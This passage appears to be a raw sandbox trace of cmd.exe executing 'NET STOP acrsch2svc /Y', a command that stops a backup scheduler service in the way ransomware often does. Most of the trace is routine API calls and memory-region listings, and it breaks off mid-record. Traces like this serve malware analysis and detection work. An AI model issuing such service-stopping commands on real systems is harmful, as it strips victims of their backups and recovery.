(normalized: "c:\\windows\\system32\\apisetschema.dll") Region: id = 490 start_va = 0x50000 end_va = 0x53fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000050000" filename = "" Region: id = 491 start_va = 0x60000 end_va = 0x60fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000060000" filename = "" Region: id = 492 start_va = 0x150000 end_va = 0x18ffff entry_point = 0x0 region_type = private name = "private_0x0000000000150000" filename = "" Region: id = 493 start_va = 0x360000 end_va = 0x45ffff entry_point = 0x0 region_type = private name = "private_0x0000000000360000" filename = "" Region: id = 494 start_va = 0x4aa20000 end_va = 0x4aa6bfff entry_point = 0x4aa20000 region_type = mapped_file name = "cmd.exe" filename = "\\Windows\\SysWOW64\\cmd.exe" (normalized: "c:\\windows\\syswow64\\cmd.exe") Region: id = 495 start_va = 0x77670000 end_va = 0x77818fff entry_point = 0x77670000 region_type = mapped_file name = "ntdll.dll" filename = "\\Windows\\System32\\ntdll.dll" (normalized: "c:\\windows\\system32\\ntdll.dll") Region: id = 496 start_va = 0x77850000 end_va = 0x779cffff entry_point = 0x77850000 region_type = mapped_file name = "ntdll.dll" filename = "\\Windows\\SysWOW64\\ntdll.dll" (normalized: "c:\\windows\\syswow64\\ntdll.dll") Region: id = 497 start_va = 0x7efb0000 end_va = 0x7efd2fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000007efb0000" filename = "" Region: id = 498 start_va = 0x7efdb000 end_va = 0x7efddfff entry_point = 0x0 region_type = private name = "private_0x000000007efdb000" filename = "" Region: id = 499 start_va = 0x7efde000 end_va = 0x7efdefff entry_point = 0x0 region_type = private name = "private_0x000000007efde000" filename = "" Region: id = 500 start_va = 0x7efdf000 end_va = 0x7efdffff entry_point = 0x0 region_type = private name = "private_0x000000007efdf000" filename = "" Region: id = 501 start_va = 0x7efe0000 end_va = 0x7ffdffff entry_point = 0x0 region_type = private name = "private_0x000000007efe0000" filename = "" Region: id = 502 start_va = 0x7ffe0000 end_va = 0x7ffeffff entry_point = 0x0 region_type = private name = "private_0x000000007ffe0000" filename = "" Region: id = 503 start_va = 0x7fff0000 end_va = 0x7fffffeffff entry_point = 0x0 region_type = private name = "private_0x000000007fff0000" filename = "" Region: id = 504 start_va = 0x90000 end_va = 0x10ffff entry_point = 0x0 region_type = private name = "private_0x0000000000090000" filename = "" Region: id = 505 start_va = 0x74d90000 end_va = 0x74d97fff entry_point = 0x74d90000 region_type = mapped_file name = "wow64cpu.dll" filename = "\\Windows\\System32\\wow64cpu.dll" (normalized: "c:\\windows\\system32\\wow64cpu.dll") Region: id = 506 start_va = 0x74da0000 end_va = 0x74dfbfff entry_point = 0x74da0000 region_type = mapped_file name = "wow64win.dll" filename = "\\Windows\\System32\\wow64win.dll" (normalized: "c:\\windows\\system32\\wow64win.dll") Region: id = 507 start_va = 0x74e00000 end_va = 0x74e3efff entry_point = 0x74e00000 region_type = mapped_file name = "wow64.dll" filename = "\\Windows\\System32\\wow64.dll" (normalized: "c:\\windows\\system32\\wow64.dll") Region: id = 508 start_va = 0x10000 end_va = 0x1ffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000010000" filename = "" Region: id = 509 start_va = 0x20000 end_va = 0x2ffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000020000" filename = "" Region: id = 510 start_va = 0x1b0000 end_va = 0x2affff entry_point = 0x0 region_type = private name = "private_0x00000000001b0000" filename = "" Region: id = 511 start_va = 0x2b0000 end_va = 0x316fff entry_point = 0x2b0000 region_type = mapped_file name = "locale.nls" filename = "\\Windows\\System32\\locale.nls" (normalized: "c:\\windows\\system32\\locale.nls") Region: id = 512 start_va = 0x510000 end_va = 0x51ffff entry_point = 0x0 region_type = private name = "private_0x0000000000510000" filename = "" Region: id = 513 start_va = 0x75270000 end_va = 0x75276fff entry_point = 0x75270000 region_type = mapped_file name = "winbrand.dll" filename = "\\Windows\\SysWOW64\\winbrand.dll" (normalized: "c:\\windows\\syswow64\\winbrand.dll") Region: id = 514 start_va = 0x753a0000 end_va = 0x753abfff entry_point = 0x753a0000 region_type = mapped_file name = "cryptbase.dll" filename = "\\Windows\\SysWOW64\\cryptbase.dll" (normalized: "c:\\windows\\syswow64\\cryptbase.dll") Region: id = 515 start_va = 0x753b0000 end_va = 0x7540ffff entry_point = 0x753b0000 region_type = mapped_file name = "sspicli.dll" filename = "\\Windows\\SysWOW64\\sspicli.dll" (normalized: "c:\\windows\\syswow64\\sspicli.dll") Region: id = 516 start_va = 0x75410000 end_va = 0x754acfff entry_point = 0x75410000 region_type = mapped_file name = "usp10.dll" filename = "\\Windows\\SysWOW64\\usp10.dll" (normalized: "c:\\windows\\syswow64\\usp10.dll") Region: id = 517 start_va = 0x756f0000 end_va = 0x757effff entry_point = 0x756f0000 region_type = mapped_file name = "user32.dll" filename = "\\Windows\\SysWOW64\\user32.dll" (normalized: "c:\\windows\\syswow64\\user32.dll") Region: id = 518 start_va = 0x75a20000 end_va = 0x75b2ffff entry_point = 0x75a20000 region_type = mapped_file name = "kernel32.dll" filename = "\\Windows\\SysWOW64\\kernel32.dll" (normalized: "c:\\windows\\syswow64\\kernel32.dll") Region: id = 519 start_va = 0x75b30000 end_va = 0x75bcffff entry_point = 0x75b30000 region_type = mapped_file name = "advapi32.dll" filename = "\\Windows\\SysWOW64\\advapi32.dll" (normalized: "c:\\windows\\syswow64\\advapi32.dll") Region: id = 520 start_va = 0x75e30000 end_va = 0x75edbfff entry_point = 0x75e30000 region_type = mapped_file name = "msvcrt.dll" filename = "\\Windows\\SysWOW64\\msvcrt.dll" (normalized: "c:\\windows\\syswow64\\msvcrt.dll") Region: id = 521 start_va = 0x762b0000 end_va = 0x762c8fff entry_point = 0x762b0000 region_type = mapped_file name = "sechost.dll" filename = "\\Windows\\SysWOW64\\sechost.dll" (normalized: "c:\\windows\\syswow64\\sechost.dll") Region: id = 522 start_va = 0x762d0000 end_va = 0x762d9fff entry_point = 0x762d0000 region_type = mapped_file name = "lpk.dll" filename = "\\Windows\\SysWOW64\\lpk.dll" (normalized: "c:\\windows\\syswow64\\lpk.dll") Region: id = 523 start_va = 0x765f0000 end_va = 0x76635fff entry_point = 0x765f0000 region_type = mapped_file name = "kernelbase.dll" filename = "\\Windows\\SysWOW64\\KernelBase.dll" (normalized: "c:\\windows\\syswow64\\kernelbase.dll") Region: id = 524 start_va = 0x772d0000 end_va = 0x773bffff entry_point = 0x772d0000 region_type = mapped_file name = "rpcrt4.dll" filename = "\\Windows\\SysWOW64\\rpcrt4.dll" (normalized: "c:\\windows\\syswow64\\rpcrt4.dll") Region: id = 525 start_va = 0x773c0000 end_va = 0x7744ffff entry_point = 0x773c0000 region_type = mapped_file name = "gdi32.dll" filename = "\\Windows\\SysWOW64\\gdi32.dll" (normalized: "c:\\windows\\syswow64\\gdi32.dll") Region: id = 526 start_va = 0x77450000 end_va = 0x77549fff entry_point = 0x0 region_type = private name = "private_0x0000000077450000" filename = "" Region: id = 527 start_va = 0x77550000 end_va = 0x7766efff entry_point = 0x0 region_type = private name = "private_0x0000000077550000" filename = "" Region: id = 528 start_va = 0x7efe0000 end_va = 0x7f0dffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000007efe0000" filename = "" Region: id = 529 start_va = 0x7f0e0000 end_va = 0x7ffdffff entry_point = 0x0 region_type = private name = "private_0x000000007f0e0000" filename = "" Region: id = 530 start_va = 0x520000 end_va = 0x6a7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000520000" filename = "" Region: id = 531 start_va = 0x75d40000 end_va = 0x75e0bfff entry_point = 0x75d40000 region_type = mapped_file name = "msctf.dll" filename = "\\Windows\\SysWOW64\\msctf.dll" (normalized: "c:\\windows\\syswow64\\msctf.dll") Region: id = 532 start_va = 0x76500000 end_va = 0x7655ffff entry_point = 0x76500000 region_type = mapped_file name = "imm32.dll" filename = "\\Windows\\SysWOW64\\imm32.dll" (normalized: "c:\\windows\\syswow64\\imm32.dll") Region: id = 533 start_va = 0x30000 end_va = 0x36fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000030000" filename = "" Region: id = 534 start_va = 0x70000 end_va = 0x71fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000070000" filename = "" Region: id = 535 start_va = 0x80000 end_va = 0x80fff entry_point = 0x0 region_type = private name = "private_0x0000000000080000" filename = "" Region: id = 536 start_va = 0x110000 end_va = 0x110fff entry_point = 0x0 region_type = private name = "private_0x0000000000110000" filename = "" Region: id = 537 start_va = 0x6b0000 end_va = 0x830fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006b0000" filename = "" Region: id = 538 start_va = 0x840000 end_va = 0x1c3ffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000840000" filename = "" Region: id = 539 start_va = 0x1c40000 end_va = 0x1f82fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000001c40000" filename = "" Region: id = 540 start_va = 0x1f90000 end_va = 0x225efff entry_point = 0x1f90000 region_type = mapped_file name = "sortdefault.nls" filename = "\\Windows\\Globalization\\Sorting\\SortDefault.nls" (normalized: "c:\\windows\\globalization\\sorting\\sortdefault.nls") Thread: id = 9 os_tid = 0xa54 [0036.649] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x45f86c | out: lpSystemTimeAsFileTime=0x45f86c*(dwLowDateTime=0xd7b44240, dwHighDateTime=0x1d4abdd)) [0036.649] GetCurrentProcessId () returned 0xa50 [0036.649] GetCurrentThreadId () returned 0xa54 [0036.649] GetTickCount () returned 0x199ed [0036.649] QueryPerformanceCounter (in: lpPerformanceCount=0x45f864 | out: lpPerformanceCount=0x45f864*=1811188000000) returned 1 [0036.651] GetModuleHandleA (lpModuleName=0x0) returned 0x4aa20000 [0036.651] __set_app_type (_Type=0x1) [0036.651] __p__fmode () returned 0x75ed31f4 [0036.651] __p__commode () returned 0x75ed31fc [0036.651] SetUnhandledExceptionFilter (lpTopLevelExceptionFilter=0x4aa421a6) returned 0x0 [0036.651] __getmainargs (in: _Argc=0x4aa44238, _Argv=0x4aa44240, _Env=0x4aa4423c, _DoWildCard=0, _StartInfo=0x4aa44140 | out: _Argc=0x4aa44238, _Argv=0x4aa44240, _Env=0x4aa4423c) returned 0 [0036.651] GetCurrentThreadId () returned 0xa54 [0036.651] OpenThread (dwDesiredAccess=0x1fffff, bInheritHandle=0, dwThreadId=0xa54) returned 0x60 [0036.651] GetModuleHandleW (lpModuleName="KERNEL32.DLL") returned 0x75a20000 [0036.651] GetProcAddress (hModule=0x75a20000, lpProcName="SetThreadUILanguage") returned 0x75a4a84f [0036.652] SetThreadUILanguage (LangId=0x0) returned 0x409 [0036.652] HeapSetInformation (HeapHandle=0x0, HeapInformationClass=0x1, HeapInformation=0x0, HeapInformationLength=0x0) returned 1 [0036.652] RegOpenKeyExW (in: hKey=0x80000001, lpSubKey="Software\\Policies\\Microsoft\\Windows\\System", ulOptions=0x0, samDesired=0x20019, phkResult=0x45f7fc | out: phkResult=0x45f7fc*=0x0) returned 0x2 [0036.652] VirtualQuery (in: lpAddress=0x45f833, lpBuffer=0x45f7cc, dwLength=0x1c | out: lpBuffer=0x45f7cc*(BaseAddress=0x45f000, AllocationBase=0x360000, AllocationProtect=0x4, RegionSize=0x1000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c [0036.652] VirtualQuery (in: lpAddress=0x360000, lpBuffer=0x45f7cc, dwLength=0x1c | out: lpBuffer=0x45f7cc*(BaseAddress=0x360000, AllocationBase=0x360000, AllocationProtect=0x4, RegionSize=0x1000, State=0x2000, Protect=0x0, Type=0x20000)) returned 0x1c [0036.652] VirtualQuery (in: lpAddress=0x361000, lpBuffer=0x45f7cc, dwLength=0x1c | out: lpBuffer=0x45f7cc*(BaseAddress=0x361000, AllocationBase=0x360000, AllocationProtect=0x4, RegionSize=0x2000, State=0x1000, Protect=0x104, Type=0x20000)) returned 0x1c [0036.652] VirtualQuery (in: lpAddress=0x363000, lpBuffer=0x45f7cc, dwLength=0x1c | out: lpBuffer=0x45f7cc*(BaseAddress=0x363000, AllocationBase=0x360000, AllocationProtect=0x4, RegionSize=0xfd000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c [0036.652] VirtualQuery (in: lpAddress=0x460000, lpBuffer=0x45f7cc, dwLength=0x1c | out: lpBuffer=0x45f7cc*(BaseAddress=0x460000, AllocationBase=0x0, AllocationProtect=0x0, RegionSize=0xb0000, State=0x10000, Protect=0x1, Type=0x0)) returned 0x1c [0036.652] GetConsoleOutputCP () returned 0x1b5 [0036.652] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x4aa44260 | out: lpCPInfo=0x4aa44260) returned 1 [0036.652] SetConsoleCtrlHandler (HandlerRoutine=0x4aa3e72a, Add=1) returned 1 [0036.652] _get_osfhandle (_FileHandle=1) returned 0x7 [0036.652] SetConsoleMode (hConsoleHandle=0x7, dwMode=0x0) returned 1 [0036.653] _get_osfhandle (_FileHandle=1) returned 0x7 [0036.653] GetConsoleMode (in: hConsoleHandle=0x7, lpMode=0x4aa441ac | out: lpMode=0x4aa441ac) returned 1 [0036.653] _get_osfhandle (_FileHandle=1) returned 0x7 [0036.653] SetConsoleMode (hConsoleHandle=0x7, dwMode=0x3) returned 1 [0036.653] _get_osfhandle (_FileHandle=0) returned 0x3 [0036.653] GetConsoleMode (in: hConsoleHandle=0x3, lpMode=0x4aa441b0 | out: lpMode=0x4aa441b0) returned 1 [0036.653] _get_osfhandle (_FileHandle=0) returned 0x3 [0036.653] SetConsoleMode (hConsoleHandle=0x3, dwMode=0x1a7) returned 1 [0036.654] GetEnvironmentStringsW () returned 0x1c2b18* [0036.654] FreeEnvironmentStringsW (penv=0x1c2b18) returned 1 [0036.654] GetEnvironmentStringsW () returned 0x1c2b18* [0036.654] FreeEnvironmentStringsW (penv=0x1c2b18) returned 1 [0036.654] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="Software\\Microsoft\\Command Processor", ulOptions=0x0, samDesired=0x2000000, phkResult=0x45e76c | out: phkResult=0x45e76c*=0x6c) returned 0x0 [0036.654] RegQueryValueExW (in: hKey=0x6c, lpValueName="DisableUNCCheck", lpReserved=0x0, lpType=0x45e774, lpData=0x45e778, lpcbData=0x45e770*=0x1000 | out: lpType=0x45e774*=0x0, lpData=0x45e778*=0x32, lpcbData=0x45e770*=0x1000) returned 0x2 [0036.654] RegQueryValueExW (in: hKey=0x6c, lpValueName="EnableExtensions", lpReserved=0x0, lpType=0x45e774, lpData=0x45e778, lpcbData=0x45e770*=0x1000 | out: lpType=0x45e774*=0x4, lpData=0x45e778*=0x1, lpcbData=0x45e770*=0x4) returned 0x0 [0036.654] RegQueryValueExW (in: hKey=0x6c, lpValueName="DelayedExpansion", lpReserved=0x0, lpType=0x45e774, lpData=0x45e778, lpcbData=0x45e770*=0x1000 | out: lpType=0x45e774*=0x0, lpData=0x45e778*=0x1, lpcbData=0x45e770*=0x1000) returned 0x2 [0036.654] RegQueryValueExW (in: hKey=0x6c, lpValueName="DefaultColor", lpReserved=0x0, lpType=0x45e774, lpData=0x45e778, lpcbData=0x45e770*=0x1000 | out: lpType=0x45e774*=0x4, lpData=0x45e778*=0x0, lpcbData=0x45e770*=0x4) returned 0x0 [0036.654] RegQueryValueExW (in: hKey=0x6c, lpValueName="CompletionChar", lpReserved=0x0, lpType=0x45e774, lpData=0x45e778, lpcbData=0x45e770*=0x1000 | out: lpType=0x45e774*=0x4, lpData=0x45e778*=0x40, lpcbData=0x45e770*=0x4) returned 0x0 [0036.654] RegQueryValueExW (in: hKey=0x6c, lpValueName="PathCompletionChar", lpReserved=0x0, lpType=0x45e774, lpData=0x45e778, lpcbData=0x45e770*=0x1000 | out: lpType=0x45e774*=0x4, lpData=0x45e778*=0x40, lpcbData=0x45e770*=0x4) returned 0x0 [0036.654] RegQueryValueExW (in: hKey=0x6c, lpValueName="AutoRun", lpReserved=0x0, lpType=0x45e774, lpData=0x45e778, lpcbData=0x45e770*=0x1000 | out: lpType=0x45e774*=0x0, lpData=0x45e778*=0x40, lpcbData=0x45e770*=0x1000) returned 0x2 [0036.654] RegCloseKey (hKey=0x6c) returned 0x0 [0036.654] RegOpenKeyExW (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Command Processor", ulOptions=0x0, samDesired=0x2000000, phkResult=0x45e76c | out: phkResult=0x45e76c*=0x6c) returned 0x0 [0036.655] RegQueryValueExW (in: hKey=0x6c, lpValueName="DisableUNCCheck", lpReserved=0x0, lpType=0x45e774, lpData=0x45e778, lpcbData=0x45e770*=0x1000 | out: lpType=0x45e774*=0x0, lpData=0x45e778*=0x40, lpcbData=0x45e770*=0x1000) returned 0x2 [0036.655] RegQueryValueExW (in: hKey=0x6c, lpValueName="EnableExtensions", lpReserved=0x0, lpType=0x45e774, lpData=0x45e778, lpcbData=0x45e770*=0x1000 | out: lpType=0x45e774*=0x4, lpData=0x45e778*=0x1, lpcbData=0x45e770*=0x4) returned 0x0 [0036.655] RegQueryValueExW (in: hKey=0x6c, lpValueName="DelayedExpansion", lpReserved=0x0, lpType=0x45e774, lpData=0x45e778, lpcbData=0x45e770*=0x1000 | out: lpType=0x45e774*=0x0, lpData=0x45e778*=0x1, lpcbData=0x45e770*=0x1000) returned 0x2 [0036.655] RegQueryValueExW (in: hKey=0x6c, lpValueName="DefaultColor", lpReserved=0x0, lpType=0x45e774, lpData=0x45e778, lpcbData=0x45e770*=0x1000 | out: lpType=0x45e774*=0x4, lpData=0x45e778*=0x0, lpcbData=0x45e770*=0x4) returned 0x0 [0036.655] RegQueryValueExW (in: hKey=0x6c, lpValueName="CompletionChar", lpReserved=0x0, lpType=0x45e774, lpData=0x45e778, lpcbData=0x45e770*=0x1000 | out: lpType=0x45e774*=0x4, lpData=0x45e778*=0x9, lpcbData=0x45e770*=0x4) returned 0x0 [0036.655] RegQueryValueExW (in: hKey=0x6c, lpValueName="PathCompletionChar", lpReserved=0x0, lpType=0x45e774, lpData=0x45e778, lpcbData=0x45e770*=0x1000 | out: lpType=0x45e774*=0x4, lpData=0x45e778*=0x9, lpcbData=0x45e770*=0x4) returned 0x0 [0036.655] RegQueryValueExW (in: hKey=0x6c, lpValueName="AutoRun", lpReserved=0x0, lpType=0x45e774, lpData=0x45e778, lpcbData=0x45e770*=0x1000 | out: lpType=0x45e774*=0x0, lpData=0x45e778*=0x9, lpcbData=0x45e770*=0x1000) returned 0x2 [0036.655] RegCloseKey (hKey=0x6c) returned 0x0 [0036.655] time (in: timer=0x0 | out: timer=0x0) returned 0x5c3c3f4f [0036.655] srand (_Seed=0x5c3c3f4f) [0036.655] GetCommandLineW () returned="C:\\Windows\\system32\\cmd.exe /c NET STOP acrsch2svc /Y" [0036.655] GetCommandLineW () returned="C:\\Windows\\system32\\cmd.exe /c NET STOP acrsch2svc /Y" [0036.655] GetCurrentDirectoryW (in: nBufferLength=0x104, lpBuffer=0x4aa45260 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop") returned 0x25 [0036.655] GetModuleFileNameW (in: hModule=0x0, lpFilename=0x1c4ba8, nSize=0x104 | out: lpFilename="C:\\Windows\\SysWOW64\\cmd.exe" (normalized: "c:\\windows\\syswow64\\cmd.exe")) returned 0x1b [0036.655] GetEnvironmentVariableW (in: lpName="PATH", lpBuffer=0x4aa50640, nSize=0x2000 | out: lpBuffer="C:\\Windows\\system32;C:\\Windows;C:\\Windows\\System32\\Wbem;C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\") returned 0x63 [0036.655] GetEnvironmentVariableW (in: lpName="PATHEXT", lpBuffer=0x4aa50640, nSize=0x2000 | out: lpBuffer=".COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC") returned 0x35 [0036.655] GetEnvironmentVariableW (in: lpName="PROMPT", lpBuffer=0x4aa50640, nSize=0x2000 | out: lpBuffer="") returned 0x0 [0036.655] _wcsicmp (_String1="PROMPT", _String2="CD") returned 13 [0036.655] _wcsicmp (_String1="PROMPT", _String2="ERRORLEVEL") returned 11 [0036.655] _wcsicmp (_String1="PROMPT", _String2="CMDEXTVERSION") returned 13 [0036.656] _wcsicmp (_String1="PROMPT", _String2="CMDCMDLINE") returned 13 [0036.656] _wcsicmp (_String1="PROMPT", _String2="DATE") returned 12 [0036.656] _wcsicmp (_String1="PROMPT", _String2="TIME") returned -4 [0036.656] _wcsicmp (_String1="PROMPT", _String2="RANDOM") returned -2 [0036.656] _wcsicmp (_String1="PROMPT", _String2="HIGHESTNUMANODENUMBER") returned 8 [0036.656] SetEnvironmentVariableW (lpName="PROMPT", lpValue="$P$G") returned 1 [0036.656] GetEnvironmentStringsW () returned 0x1c2b18* [0036.656] FreeEnvironmentStringsW (penv=0x1c2b18) returned 1 [0036.656] GetEnvironmentVariableW (in: lpName="COMSPEC", lpBuffer=0x4aa50640, nSize=0x2000 | out: lpBuffer="C:\\Windows\\system32\\cmd.exe") returned 0x1b [0036.656] GetEnvironmentVariableW (in: lpName="KEYS", lpBuffer=0x4aa50640, nSize=0x2000 | out: lpBuffer="") returned 0x0 [0036.656] _wcsicmp (_String1="KEYS", _String2="CD") returned 8 [0036.656] _wcsicmp (_String1="KEYS", _String2="ERRORLEVEL") returned 6 [0036.656] _wcsicmp (_String1="KEYS", _String2="CMDEXTVERSION") returned 8 [0036.656] _wcsicmp (_String1="KEYS", _String2="CMDCMDLINE") returned 8 [0036.656] _wcsicmp (_String1="KEYS", _String2="DATE") returned 7 [0036.656] _wcsicmp (_String1="KEYS", _String2="TIME") returned -9 [0036.656] _wcsicmp (_String1="KEYS", _String2="RANDOM") returned -7 [0036.656] _wcsicmp (_String1="KEYS", _String2="HIGHESTNUMANODENUMBER") returned 3 [0036.656] GetCurrentDirectoryW (in: nBufferLength=0x104, lpBuffer=0x45f538 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop") returned 0x25 [0036.656] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", nBufferLength=0x104, lpBuffer=0x45f538, lpFilePart=0x45f534 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", lpFilePart=0x45f534*="Desktop") returned 0x25 [0036.656] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop")) returned 0x11 [0036.657] FindFirstFileW (in: lpFileName="C:\\Users", lpFindFileData=0x45f2b4 | out: lpFindFileData=0x45f2b4) returned 0x1c1db0 [0036.657] FindClose (in: hFindFile=0x1c1db0 | out: hFindFile=0x1c1db0) returned 1 [0036.657] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz", lpFindFileData=0x45f2b4 | out: lpFindFileData=0x45f2b4) returned 0x1c1db0 [0036.657] FindClose (in: hFindFile=0x1c1db0 | out: hFindFile=0x1c1db0) returned 1 [0036.657] _wcsnicmp (_String1="5P5NRG~1", _String2="5p5NrGJn0jS HALPmcxz", _MaxCount=0x14) returned 20 [0036.657] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", lpFindFileData=0x45f2b4 | out: lpFindFileData=0x45f2b4) returned 0x1c1db0 [0036.657] FindClose (in: hFindFile=0x1c1db0 | out: hFindFile=0x1c1db0) returned 1 [0036.657] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop")) returned 0x11 [0036.657] SetCurrentDirectoryW (lpPathName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop")) returned 1 [0036.657] SetEnvironmentVariableW (lpName="=C:", lpValue="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop") returned 1 [0036.657] GetEnvironmentStringsW () returned 0x1c2b18* [0036.657] FreeEnvironmentStringsW (penv=0x1c2b18) returned 1 [0036.657] GetCurrentDirectoryW (in: nBufferLength=0x104, lpBuffer=0x4aa45260 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop") returned 0x25 [0036.658] GetConsoleOutputCP () returned 0x1b5 [0036.658] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x4aa44260 | out: lpCPInfo=0x4aa44260) returned 1 [0036.658] GetUserDefaultLCID () returned 0x409 [0036.658] GetLocaleInfoW (in: Locale=0x409, LCType=0x1e, lpLCData=0x4aa44950, cchData=8 | out: lpLCData=":") returned 2 [0036.659] GetLocaleInfoW (in: Locale=0x409, LCType=0x23, lpLCData=0x45f678, cchData=128 | out: lpLCData="0") returned 2 [0036.659] GetLocaleInfoW (in: Locale=0x409, LCType=0x21, lpLCData=0x45f678, cchData=128 | out: lpLCData="0") returned 2 [0036.659] GetLocaleInfoW (in: Locale=0x409, LCType=0x24, lpLCData=0x45f678, cchData=128 | out: lpLCData="1") returned 2 [0036.659] GetLocaleInfoW (in: Locale=0x409, LCType=0x1d, lpLCData=0x4aa44940, cchData=8 | out: lpLCData="/") returned 2 [0036.659] GetLocaleInfoW (in: Locale=0x409, LCType=0x31, lpLCData=0x4aa44d80, cchData=32 | out: lpLCData="Mon") returned 4 [0036.659] GetLocaleInfoW (in: Locale=0x409, LCType=0x32, lpLCData=0x4aa44d40, cchData=32 | out: lpLCData="Tue") returned 4 [0036.659] GetLocaleInfoW (in: Locale=0x409, LCType=0x33, lpLCData=0x4aa44d00, cchData=32 | out: lpLCData="Wed") returned 4 [0036.659] GetLocaleInfoW (in: Locale=0x409, LCType=0x34, lpLCData=0x4aa44cc0, cchData=32 | out: lpLCData="Thu") returned 4 [0036.659] GetLocaleInfoW (in: Locale=0x409, LCType=0x35, lpLCData=0x4aa44c80, cchData=32 | out: lpLCData="Fri") returned 4 [0036.659] GetLocaleInfoW (in: Locale=0x409, LCType=0x36, lpLCData=0x4aa44c40, cchData=32 | out: lpLCData="Sat") returned 4 [0036.659] GetLocaleInfoW (in: Locale=0x409, LCType=0x37, lpLCData=0x4aa44c00, cchData=32 | out: lpLCData="Sun") returned 4 [0036.659] GetLocaleInfoW (in: Locale=0x409, LCType=0xe, lpLCData=0x4aa44930, cchData=8 | out: lpLCData=".") returned 2 [0036.659] GetLocaleInfoW (in: Locale=0x409, LCType=0xf, lpLCData=0x4aa44920, cchData=8 | out: lpLCData=",") returned 2 [0036.659] setlocale (category=0, locale=".OCP") returned="English_United States.437" [0036.660] GetConsoleTitleW (in: lpConsoleTitle=0x1c58f8, nSize=0x104 | out: lpConsoleTitle="C:\\Windows\\system32\\cmd.exe") returned 0x1b [0036.660] GetModuleHandleW (lpModuleName="KERNEL32.DLL") returned 0x75a20000 [0036.660] GetProcAddress (hModule=0x75a20000, lpProcName="CopyFileExW") returned 0x75a53b92 [0036.660] GetProcAddress (hModule=0x75a20000, lpProcName="IsDebuggerPresent") returned 0x75a34a5d [0036.661] GetProcAddress (hModule=0x75a20000, lpProcName="SetConsoleInputExeNameW") returned 0x75a4a79d [0036.661] _wcsicmp (_String1="NET", _String2=")") returned 69 [0036.661] _wcsicmp (_String1="FOR", _String2="NET") returned -8 [0036.661] _wcsicmp (_String1="FOR/?", _String2="NET") returned -8 [0036.661] _wcsicmp (_String1="IF", _String2="NET") returned -5 [0036.661] _wcsicmp (_String1="IF/?", _String2="NET") returned -5 [0036.661] _wcsicmp (_String1="REM", _String2="NET") returned 4 [0036.661] _wcsicmp (_String1="REM/?", _String2="NET") returned 4 [0036.662] GetConsoleTitleW (in: lpConsoleTitle=0x45f370, nSize=0x104 | out: lpConsoleTitle="C:\\Windows\\system32\\cmd.exe") returned 0x1b [0036.663] _wcsicmp (_String1="NET", _String2="DIR") returned 10 [0036.663] _wcsicmp (_String1="NET", _String2="ERASE") returned 9 [0036.663] _wcsicmp (_String1="NET", _String2="DEL") returned 10 [0036.663] _wcsicmp (_String1="NET", _String2="TYPE") returned -6 [0036.663] _wcsicmp (_String1="NET", _String2="COPY") returned 11 [0036.663] _wcsicmp (_String1="NET", _String2="CD") returned 11 [0036.663] _wcsicmp (_String1="NET", _String2="CHDIR") returned 11 [0036.663] _wcsicmp (_String1="NET", _String2="RENAME") returned -4 [0036.663] _wcsicmp (_String1="NET", _String2="REN") returned -4 [0036.663] _wcsicmp (_String1="NET", _String2="ECHO") returned 9 [0036.663] _wcsicmp (_String1="NET", _String2="SET") returned -5 [0036.663] _wcsicmp (_String1="NET", _String2="PAUSE") returned -2 [0036.663] _wcsicmp (_String1="NET", _String2="DATE") returned 10 [0036.663] _wcsicmp (_String1="NET", _String2="TIME") returned -6 [0036.663] _wcsicmp (_String1="NET", _String2="PROMPT") returned -2 [0036.663] _wcsicmp (_String1="NET", _String2="MD") returned 1 [0036.663] _wcsicmp (_String1="NET", _String2="MKDIR") returned 1 [0036.663] _wcsicmp (_String1="NET", _String2="RD") returned -4 [0036.663] _wcsicmp (_String1="NET", _String2="RMDIR") returned -4 [0036.663] _wcsicmp (_String1="NET", _String2="PATH") returned -2 [0036.663] _wcsicmp (_String1="NET", _String2="GOTO") returned 7 [0036.663] _wcsicmp (_String1="NET", _String2="SHIFT") returned -5 [0036.663] _wcsicmp (_String1="NET", _String2="CLS") returned 11 [0036.663] _wcsicmp (_String1="NET", _String2="CALL") returned 11 [0036.663] _wcsicmp (_String1="NET", _String2="VERIFY") returned -8 [0036.663] _wcsicmp (_String1="NET", _String2="VER") returned -8 [0036.663] _wcsicmp 